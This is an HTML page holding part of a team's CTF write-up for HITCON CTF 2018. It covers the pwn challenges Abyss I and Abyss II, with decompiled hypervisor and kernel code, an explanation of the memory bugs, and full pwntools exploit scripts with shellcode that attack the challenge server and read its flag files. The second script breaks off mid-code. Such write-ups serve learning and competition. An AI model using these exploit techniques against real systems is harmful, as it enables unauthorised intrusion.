<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>HITCON CTF 2018 Write up</title>
    <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
    <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
    <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
  </head>
  <style>
  body {
      padding-top: 56px;
  }

  .sticky-offset {
      top: 56px;
  }

  #body-row {
      margin-left:0;
      margin-right:0;
  }
  #sidebar-container {
      min-height: 100vh;   
      background-color: #333;
      padding: 0;
  }

  /* Sidebar sizes when expanded and expanded */
  .sidebar-expanded {
      width: 230px;
  }
  .sidebar-collapsed {
      width: 60px;
  }

  /* Menu item*/
  #sidebar-container .list-group a {
      height: 50px;
      color: white;
  }

  /* Submenu item*/
  #sidebar-container .list-group .sidebar-submenu a {
      height: 45px;
      padding-left: 60px;
  }
  .sidebar-submenu {
      font-size: 0.9rem;
  }

  /* Separators */
  .sidebar-separator-title {
      background-color: #333;
      height: 35px;
  }
  .sidebar-separator {
      background-color: #333;
      height: 25px;
  }
  .logo-separator {
      background-color: #333;    
      height: 60px;
  }


  /* 
   active scrollspy
  */
  .list-group-item.active {
    border-color: transparent;
    border-left: #e69138 solid 4px;
  }

  /* 
   anchor padding top
   https://stackoverflow.com/a/28824157
  */
  :target:before {
    content:"";
    display:block;
    height:56px; /* fixed header height*/
    margin:-56px 0 0; /* negative fixed header height */
  }
  </style>
  
  <script>
  // https://stackoverflow.com/a/48330533
  $(window).on('activate.bs.scrollspy', function (event) {
    let active_collapse = $($('.list-group-item.active').parents()[0]);
    $(".collapse").removeClass("show");
    active_collapse.addClass("show");

    let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
    $('a[href^="#submenu"]').css("border-left", "");
    parent_menu.css("border-left","#e69138 solid 4px");
  });

  // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [['$','$'], ['\\(','\\)']],
      processEscapes: true
    }
  });
  </script>

  <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
    <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
      <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
        <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
        <span class="menu-collapsed">balsn / ctf_writeup</span>
      </a>
      <div class="collapse navbar-collapse" id="navbarNavDropdown">
        <ul class="navbar-nav my-2 my-lg-0">
            
            <li class="nav-item dropdown d-sm-block d-md-none">
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
        
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                pwn
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#abyss-i">abyss-i</a>
    
                <a class="dropdown-item" href="#abyss-ii">abyss-ii</a>
    
                <a class="dropdown-item" href="#baby-tcache">baby-tcache</a>
    
                <a class="dropdown-item" href="#children-tcache">children-tcache</a>
    
                <a class="dropdown-item" href="#tftp">tftp</a>
    
                <a class="dropdown-item" href="#hitcon">hitcon</a>
    
                <a class="dropdown-item" href="#groot">groot</a>
    
                <a class="dropdown-item" href="#secret-note">secret-note</a>
    
                <a class="dropdown-item" href="#secret-note-v2">secret-note-v2</a>
    
                <a class="dropdown-item" href="#super-hexagon">super-hexagon</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                misc
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#ev3-basic">ev3-basic</a>
    
                <a class="dropdown-item" href="#ev3-scanner">ev3-scanner</a>
    
                <a class="dropdown-item" href="#baldis-re-basics">baldis-re-basics</a>
    
                <a class="dropdown-item" href="#32-world">32-world</a>
    
                <a class="dropdown-item" href="#tooooo">tooooo</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                crypto
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#lost-modulus">lost-modulus</a>
    
                <a class="dropdown-item" href="#lost-key">lost-key</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                web
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#oh-my-raddit">oh-my-raddit</a>
    
                <a class="dropdown-item" href="#oh-my-raddit-v2">oh-my-raddit-v2</a>
    
                <a class="dropdown-item" href="#baby-cake">baby-cake</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                reverse
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#eop">eop</a>
    
              </div>
            </li>
    
        </ul>
      </div>
      <div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
        <ul class="navbar-nav ml-auto">
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
        </ul>
      </div>
    </nav>
    <div class="row" id="body-row">
      <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
        <ul class="list-group sticky-top sticky-offset">
          
          <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">pwn</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu0" class="collapse sidebar-submenu">
            <a href="#abyss-i" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">abyss-i</span>
            </a>
    
<a href="#abyss-ii" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">abyss-ii</span>
            </a>
    
<a href="#baby-tcache" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">baby-tcache</span>
            </a>
    
<a href="#children-tcache" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">children-tcache</span>
            </a>
    
<a href="#tftp" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">tftp</span>
            </a>
    
<a href="#hitcon" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">hitcon</span>
            </a>
    
<a href="#groot" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">groot</span>
            </a>
    
<a href="#secret-note" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">secret-note</span>
            </a>
    
<a href="#secret-note-v2" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">secret-note-v2</span>
            </a>
    
<a href="#super-hexagon" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">super-hexagon</span>
            </a>
    
          </div>
    
          <a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">misc</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu1" class="collapse sidebar-submenu">
            <a href="#ev3-basic" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">ev3-basic</span>
            </a>
    
<a href="#ev3-scanner" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">ev3-scanner</span>
            </a>
    
<a href="#baldis-re-basics" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">baldis-re-basics</span>
            </a>
    
<a href="#32-world" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">32-world</span>
            </a>
    
<a href="#tooooo" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">tooooo</span>
            </a>
    
          </div>
    
          <a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">crypto</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu2" class="collapse sidebar-submenu">
            <a href="#lost-modulus" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">lost-modulus</span>
            </a>
    
<a href="#lost-key" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">lost-key</span>
            </a>
    
          </div>
    
          <a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">web</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu3" class="collapse sidebar-submenu">
            <a href="#oh-my-raddit" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">oh-my-raddit</span>
            </a>
    
<a href="#oh-my-raddit-v2" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">oh-my-raddit-v2</span>
            </a>
    
<a href="#baby-cake" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">baby-cake</span>
            </a>
    
          </div>
    
          <a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">reverse</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu4" class="collapse sidebar-submenu">
            <a href="#eop" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">eop</span>
            </a>
    
          </div>
    
        </ul>
      </div>
      <div class="col-10 py-3">
        <article class="markdown-body"><h1 id="hitcon-ctf-2018-write-up"><a class="header-link" href="#hitcon-ctf-2018-write-up"></a>HITCON CTF 2018 Write up</h1>
<p>Written by BFKinesiS</p>
<p>BFKinesiS consists of 4 different CTF teams from Taiwan, including <a href="https://balsn.tw/">Balsn</a>, <a href="https://bamboofox.github.io/">BambooFox</a>, KerKerYuan and DoubleSigma. We rank 3rd place in HITCON CTF 2018 among 1118 teams.</p>

<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="abyss-i"><a class="header-link" href="#abyss-i"></a>Abyss I</h3>
<ul class="list">
<li>NX disable.</li>
<li><code>swap</code> function doesn&#39;t check the index, and the <code>machine</code> == <code>stack[-1]</code>.</li>
</ul>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">swap_</span><span class="hljs-params">()</span>
</span>{
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> tmp;

  tmp = <span class="hljs-built_in">stack</span>[machine - <span class="hljs-number">1</span>];
  <span class="hljs-built_in">stack</span>[machine - <span class="hljs-number">1</span>] = <span class="hljs-built_in">stack</span>[machine - <span class="hljs-number">2</span>];
  <span class="hljs-built_in">stack</span>[machine - <span class="hljs-number">2</span>] = tmp;
}
</code></pre><ul class="list">
<li>We can control the value of <code>machine</code> by <code>swap()</code>.</li>
</ul>
<pre class="hljs"><code>p = <span class="hljs-string">'31'</span> + <span class="hljs-string">'a'</span> + op[<span class="hljs-string">'minus'</span>]         <span class="hljs-comment"># -31</span>
p += op[<span class="hljs-string">'swap'</span>]                      <span class="hljs-comment"># stack point to write.got</span>
p += <span class="hljs-string">'a'</span> + op[<span class="hljs-string">'store'</span>]               <span class="hljs-comment"># store the high 4 byte</span>
p += str( <span class="hljs-number">2107662</span> + <span class="hljs-number">70</span> ) + op[<span class="hljs-string">'add'</span>] <span class="hljs-comment"># add offset -&gt; write.got point to our input</span>
p += <span class="hljs-string">'a'</span> + op[<span class="hljs-string">'fetch'</span>]               <span class="hljs-comment"># recover high 4 byte</span>
p += op[<span class="hljs-string">'write'</span>],                    <span class="hljs-comment"># write() to jmp to our shellcode</span>
</code></pre><ul class="list">
<li>exploit:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-comment"># hitcon{Go_ahead,_traveler,_and_get_ready_for_deeper_fear.}</span>
<span class="hljs-comment"># hitcon{take_out_all_memory,_take_away_your_soul}</span>

context.arch = <span class="hljs-string">'amd64'</span>
host , port = <span class="hljs-string">'35.200.23.198'</span> , <span class="hljs-number">31733</span>
y = remote( host , port )

kernel = open( <span class="hljs-string">'./kernel.bin'</span> ).read()

s = <span class="hljs-string">'31a-\\a:2107732+a;,'</span> + <span class="hljs-string">'\x90'</span> * <span class="hljs-number">70</span>
s += asm(
    shellcraft.pushstr( <span class="hljs-string">'flag\x00'</span> ) + 
    shellcraft.open( <span class="hljs-string">'rsp'</span> , <span class="hljs-number">0</span> , <span class="hljs-number">0</span> ) +
    shellcraft.read( <span class="hljs-string">'rax'</span> , <span class="hljs-string">'rsp'</span> , <span class="hljs-number">0x70</span> ) +
    shellcraft.write( <span class="hljs-number">1</span> , <span class="hljs-string">'rsp'</span> , <span class="hljs-number">0x70</span> )
)

y.sendlineafter( <span class="hljs-string">'down.'</span> , s )

y.interactive()
</code></pre><h3 id="abyss-ii"><a class="header-link" href="#abyss-ii"></a>Abyss II</h3>
<ul class="list">
<li>Part of code of <code>hypercall read handler</code> in Hypervisor:</li>
</ul>
<pre class="hljs"><code>rw((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)fd_map[fd].real_fd, *(_QWORD *)&amp;vm-&gt;mem + buf, len);
</code></pre><p>Where <code>vm-&gt;mem</code> is our vm phisical address. Kernel entry is 0, if we can let <code>but</code> == 0, so that  we are able to overwrite the kernel memory. Hypervisor will get the return value of kmalloc().</p>
<ul class="list">
<li><code>Hypercall read handler</code>:</li>
</ul>
<pre class="hljs"><code>vaddr = *(<span class="hljs-name">_DWORD</span> *)(vm-&gt;run + *(<span class="hljs-name">_QWORD</span> *)(vm-&gt;run + 40LL));
if ( (unsigned __int64)vaddr &gt;= vm-&gt;mem_size )
     __assert_fail("0 &lt;= (offset) &amp;&amp; (offset) &lt; vm-&gt;mem_size", "hypercall.c", 0x7Eu, "handle_rw");
arg = (_QWORD *)(<span class="hljs-name">*</span>(<span class="hljs-name">_QWORD</span> *)&amp;vm-&gt;mem + vaddr);
fd = *arg<span class="hljs-comment">;</span>
buf = arg[<span class="hljs-number">1</span>]<span class="hljs-comment">;</span>
len = arg[<span class="hljs-number">2</span>]<span class="hljs-comment">;</span>
MAY_INIT_FD_MAP()<span class="hljs-comment">;</span>
if ( <span class="hljs-name">fd</span> &gt;= <span class="hljs-number">0</span> <span class="hljs-symbol">&amp;&amp;</span> fd &lt;= <span class="hljs-number">255</span> <span class="hljs-symbol">&amp;&amp;</span> fd_map[fd].opening )
{
    if ( <span class="hljs-name">buf</span> &gt;= vm-&gt;mem_size )
        __assert_fail(<span class="hljs-string">"0 &lt;= (paddr) &amp;&amp; (paddr) &lt; vm-&gt;mem_size"</span>, <span class="hljs-string">"hypercall.c"</span>, <span class="hljs-number">0</span>x83u, <span class="hljs-string">"handle_rw"</span>)<span class="hljs-comment">;</span>
    read_ret = rw((<span class="hljs-name">unsigned</span> int)fd_map[fd].real_fd, *(_QWORD *)<span class="hljs-symbol">&amp;vm-&gt;mem</span> + buf, len)<span class="hljs-comment">;</span>
    if ( <span class="hljs-name">read_ret</span> &lt; <span class="hljs-number">0</span> )
        read_ret = -*__errno_location()<span class="hljs-comment">;</span>
}
else
{
    read_ret = <span class="hljs-number">-9</span><span class="hljs-comment">;</span>
}
</code></pre><ul class="list">
<li>Kernel sys_read():</li>
</ul>
<pre class="hljs"><code><span class="hljs-keyword">signed</span> __int64 __usercall sys_read@&lt;rax&gt;(__int64 size_@&lt;rdx&gt;, <span class="hljs-keyword">int</span> fd_@&lt;edi&gt;, <span class="hljs-keyword">unsigned</span> __int64 buf@&lt;rsi&gt;)
{
  <span class="hljs-keyword">signed</span> __int64 ret; <span class="hljs-comment">// rbx</span>
  __int64 l; <span class="hljs-comment">// r12</span>
  <span class="hljs-keyword">void</span> *vbuf; <span class="hljs-comment">// rbp</span>
  _QWORD *dst; <span class="hljs-comment">// r13</span>
  __int64 paddr; <span class="hljs-comment">// rsi</span>
  __int64 v8; <span class="hljs-comment">// rcx</span>

  ret = <span class="hljs-number">-9</span>i64;
  <span class="hljs-keyword">if</span> ( fd_ &gt;= <span class="hljs-number">0</span> )
  {
    l = size_;
    vbuf = (<span class="hljs-keyword">void</span> *)buf;
    ret = <span class="hljs-number">-14</span>i64;
    <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)access_ok(size_, <span class="hljs-number">1</span>, buf) )
    {
      dst = (_QWORD *)kmalloc(l, <span class="hljs-number">0</span>);
      paddr = physical((<span class="hljs-keyword">signed</span> __int64)dst);
      ret = (<span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span>)hyper_read(l, v8, fd_, paddr);
      <span class="hljs-keyword">if</span> ( ret &gt;= <span class="hljs-number">0</span> )
        qmemcpy(vbuf, dst, ret);
      kfree(dst);
    }
  }
  <span class="hljs-keyword">return</span> ret;
}

__int64 __usercall hyper_read@&lt;rax&gt;(__int64 len@&lt;rdx&gt;, __int64 a2@&lt;rcx&gt;, <span class="hljs-keyword">int</span> fd@&lt;edi&gt;, __int64 buf@&lt;rsi&gt;)
{
  __int64 l; <span class="hljs-comment">// r12</span>
  _QWORD *vaddr; <span class="hljs-comment">// rax</span>
  _QWORD *v; <span class="hljs-comment">// rbx</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> paddr; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v8; <span class="hljs-comment">// ST0C_4</span>

  l = len;
  vaddr = (_QWORD *)kmalloc(<span class="hljs-number">0x18</span>ui64, <span class="hljs-number">0</span>);
  *vaddr = fd;
  vaddr[<span class="hljs-number">1</span>] = buf;
  vaddr[<span class="hljs-number">2</span>] = l;
  v = vaddr;
  paddr = physical((<span class="hljs-keyword">signed</span> __int64)vaddr);
  vmmcall(<span class="hljs-number">0x8001</span>u, paddr);
  kfree(v);
  <span class="hljs-keyword">return</span> v8;
}
</code></pre><ul class="list">
<li>Pass the return value of kmalloc() to hypervisor:</li>
</ul>
<pre class="hljs"><code>dst = (_QWORD *)kmalloc(l, <span class="hljs-number">0</span>);
paddr = physical((<span class="hljs-keyword">signed</span> __int64)dst);
ret = (<span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span>)hyper_read(l, v8, fd_, paddr);
</code></pre><ul class="list">
<li>Now our goal is to let <code>kmalloc</code> return 0 value.</li>
<li>Kernel kmalloc():</li>
</ul>
<pre class="hljs"><code><span class="hljs-keyword">signed</span> __int64 __usercall kmalloc@&lt;rax&gt;(<span class="hljs-keyword">unsigned</span> __int64 len@&lt;rdi&gt;, <span class="hljs-keyword">int</span> align@&lt;esi&gt;)
{
  <span class="hljs-keyword">unsigned</span> __int64 nb; <span class="hljs-comment">// r8</span>
  <span class="hljs-keyword">signed</span> __int64 now; <span class="hljs-comment">// rsi</span>
  <span class="hljs-keyword">signed</span> __int64 v4; <span class="hljs-comment">// rdx</span>
  <span class="hljs-keyword">unsigned</span> __int64 now_size; <span class="hljs-comment">// rax</span>
  <span class="hljs-keyword">bool</span> equal; <span class="hljs-comment">// zf</span>
  __int64 next; <span class="hljs-comment">// rcx</span>
  <span class="hljs-keyword">signed</span> __int64 ret; <span class="hljs-comment">// rax</span>
  _QWORD *v9; <span class="hljs-comment">// rcx</span>
  <span class="hljs-keyword">signed</span> __int64 r; <span class="hljs-comment">// [rsp+0h] [rbp-10h]</span>

  <span class="hljs-keyword">if</span> ( len &gt; <span class="hljs-number">0xFFFFFFFF</span> )
    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>i64;
  nb = len + <span class="hljs-number">16</span>;
  <span class="hljs-keyword">if</span> ( ((_BYTE)len + <span class="hljs-number">16</span>) &amp; <span class="hljs-number">0x7F</span> )
    nb = (nb &amp; <span class="hljs-number">0xFFFFFFFFFFFFFF80</span>ui64) + <span class="hljs-number">0x80</span>;
  <span class="hljs-keyword">if</span> ( align )
  {
    <span class="hljs-keyword">if</span> ( align != <span class="hljs-number">0x1000</span> )
      hlt((<span class="hljs-keyword">unsigned</span> __int64)<span class="hljs-string">"kmalloc.c#kmalloc: invalid alignment"</span>);
    <span class="hljs-keyword">if</span> ( !((<span class="hljs-number">0xFF0</span> - MEMORY[<span class="hljs-number">0x4840</span>]) &amp; <span class="hljs-number">0xFFF</span>) || malloc_top((<span class="hljs-number">0xFF0</span> - MEMORY[<span class="hljs-number">0x4840</span>]) &amp; <span class="hljs-number">0xFFF</span>) )
    {
      malloc_top(nb);                           <span class="hljs-comment">// r</span>
      kfree(v9);
      ret = r;
      <span class="hljs-keyword">if</span> ( r )
      {
        <span class="hljs-keyword">if</span> ( !(r &amp; <span class="hljs-number">0xFFF</span>) )
          <span class="hljs-keyword">return</span> ret;
        hlt((<span class="hljs-keyword">unsigned</span> __int64)<span class="hljs-string">"kmalloc.c#kmalloc: alignment request failed"</span>);
      }
    }
  }
  <span class="hljs-keyword">else</span>
  {
    now = MEMORY[<span class="hljs-number">0x4860</span>];
    v4 = <span class="hljs-number">0x4850</span>i64;
    <span class="hljs-keyword">while</span> ( now )
    {
      now_size = *(_QWORD *)now;
      <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">unsigned</span> __int64)(*(_QWORD *)now - <span class="hljs-number">1</span>i64) &gt; <span class="hljs-number">0xFFFFFFFE</span> || now_size &amp; <span class="hljs-number">0xF</span> )
      {
        hlt((<span class="hljs-keyword">unsigned</span> __int64)<span class="hljs-string">"kmalloc.c: invalid size of sorted bin"</span>);
LABEL_12:
        *(_QWORD *)(v4 + <span class="hljs-number">16</span>) = next;
        <span class="hljs-keyword">if</span> ( !equal )
        {
          *(_QWORD *)(now + nb) = now_size - nb;
          insert_sorted((_QWORD *)(now + nb));
        }
        ret = now + <span class="hljs-number">16</span>;
        *(_QWORD *)now = nb;
        *(_OWORD *)(now + <span class="hljs-number">8</span>) = <span class="hljs-number">0</span>i64;
        <span class="hljs-keyword">if</span> ( now != <span class="hljs-number">-16</span> )
          <span class="hljs-keyword">return</span> ret;
        <span class="hljs-keyword">break</span>;
      }
      equal = nb == now_size;
      next = *(_QWORD *)(now + <span class="hljs-number">16</span>);
      <span class="hljs-keyword">if</span> ( nb &lt;= now_size )
        <span class="hljs-keyword">goto</span> LABEL_12;
      v4 = now;
      now = *(_QWORD *)(now + <span class="hljs-number">16</span>);
    }
    ret = malloc_top(nb);
    <span class="hljs-keyword">if</span> ( ret )
      <span class="hljs-keyword">return</span> ret;
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>i64;
}
</code></pre><ul class="list">
<li>There are two conditions that <code>kmalloc</code> will return 0.<ul class="list">
<li>len &gt; 0xffffffff:<pre class="hljs"><code><span class="hljs-keyword">if</span> ( len &gt; <span class="hljs-number">0xFFFFFFFF</span> )
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>i64;</code></pre></li>
<li>if kmalloc doesnt find the appropriate chunk in sorted bin, it will allocate from top by <code>malloc_top</code>.<pre class="hljs"><code>ret = malloc_top(nb);
<span class="hljs-keyword">if</span> ( ret )
<span class="hljs-keyword">return</span> ret;</code></pre></li>
<li>If <code>malloc_top</code> return 0, it won&#39;t return 0 directly, but <code>kmalloc</code> will still return 0 in the end.<pre class="hljs"><code>  ret = malloc_top(nb);
  <span class="hljs-keyword">if</span> ( ret )
    <span class="hljs-keyword">return</span> ret;
}
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}</code></pre></li>
</ul>
</li>
<li>We can not use the condition 1, because if we want to let the <code>len</code> to be 0x100000000, we need a memory space exactly has the 0x100000000 long space, due to <code>access_ok()</code> checking.</li>
<li>We can&#39;t mmap that huge memory space.</li>
<li>We have to go condition 2, let <code>malloc_top</code> return 0.</li>
<li><code>malloc_top</code>:</li>
</ul>
<pre class="hljs"><code><span class="hljs-keyword">signed</span> __<span class="hljs-function">int64 <span class="hljs-title">malloc_top</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> __int64 nb)</span>
</span>{
  <span class="hljs-keyword">signed</span> __int64 ret; <span class="hljs-comment">// rax</span>
  __int64 top; <span class="hljs-comment">// rax</span>
  <span class="hljs-keyword">unsigned</span> __int64 new_top; <span class="hljs-comment">// rdi</span>

  ret = <span class="hljs-number">0</span>;
  <span class="hljs-keyword">if</span> ( arena.top_size &gt;= nb )
  {
    top = arena.top;
    arena.top_size -= nb;
    arena.top-&gt;size = nb;
    new_top = arena.top + nb;
    ret = arena.top + <span class="hljs-number">16</span>;
    arena.top = new_top;
  }
  <span class="hljs-keyword">return</span> ret;
}
</code></pre><ul class="list">
<li>Just give a size which lager than <code>arena.top_size</code>, it will return 0.<ol class="list">
<li><code>mmap(0, 0x1000000, 7)</code> -&gt; <code>arena.top_size</code> remain the size &lt; 0x1000000.</li>
<li><code>sys_read( 0, buf, 0x1000000 )</code> -&gt; <code>kmalloc</code> in <code>hypercall read</code> will return 0.</li>
<li>Pass 0 to hypervisor, <code>hypercall read handler</code> will do <code>read( 0, &amp;vm-&gt;mem + 0 , 0x1000000 )</code>.</li>
<li>Now we can overwrite the whole kernel space! </li>
</ol>
</li>
<li>For flag2, I overwrite the opcodes in  kernel <code>sys_open</code> which do checking filename with <code>nop</code>.</li>
<li>ORW flag2.</li>
<li>exploit:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

<span class="hljs-comment"># hitcon{Go_ahead,_traveler,_and_get_ready_for_deeper_fear.}</span>
<span class="hljs-comment"># hitcon{take_out_all_memory,_take_away_your_soul}</span>

context.arch = <span class="hljs-string">'amd64'</span>
host , port = <span class="hljs-string">'35.200.23.198'</span> , <span class="hljs-number">31733</span>
y = remote( host , port )

kernel = open( <span class="hljs-string">'./kernel.bin'</span> ).read()

s = <span class="hljs-string">'31a-\\a:2107732+a;,'</span> + <span class="hljs-string">'\x90'</span> * <span class="hljs-number">70</span>
s += asm(
    <span class="hljs-string">'''
    mov rdi, 0
    mov rsi, 0x1000000
    mov rdx, 7
    mov r10, 16
    mov r8, -1
    mov r9, 0
    mov rax, 8
    inc rax
    syscall

    mov rbp, rax
    push rsp
    '''</span> +
    shellcraft.write( <span class="hljs-number">1</span> , <span class="hljs-string">'rsp'</span> , <span class="hljs-number">8</span> ) + 
    shellcraft.read( <span class="hljs-number">0</span> , <span class="hljs-string">'rbp'</span> , <span class="hljs-number">0x1000000</span> ) +
    shellcraft.pushstr( <span class="hljs-string">'flag2\x00'</span> ) + 
    shellcraft.open( <span class="hljs-string">'rsp'</span> , <span class="hljs-number">0</span> , <span class="hljs-number">0</span> ) +
    shellcraft.read( <span class="hljs-string">'rax'</span> , <span class="hljs-string">'rsp'</span> , <span class="hljs-number">0x70</span> ) +
    shellcraft.write( <span class="hljs-number">1</span> , <span class="hljs-string">'rsp'</span> , <span class="hljs-number">0x70</span> )
)

y.sendlineafter( <span class="hljs-string">'down.'</span> , s )
y.recvline()
user_stack = u64( y.recv(<span class="hljs-number">8</span>) )
success( <span class="hljs-string">'User stack -&gt; %s'</span> % hex( user_stack ) )

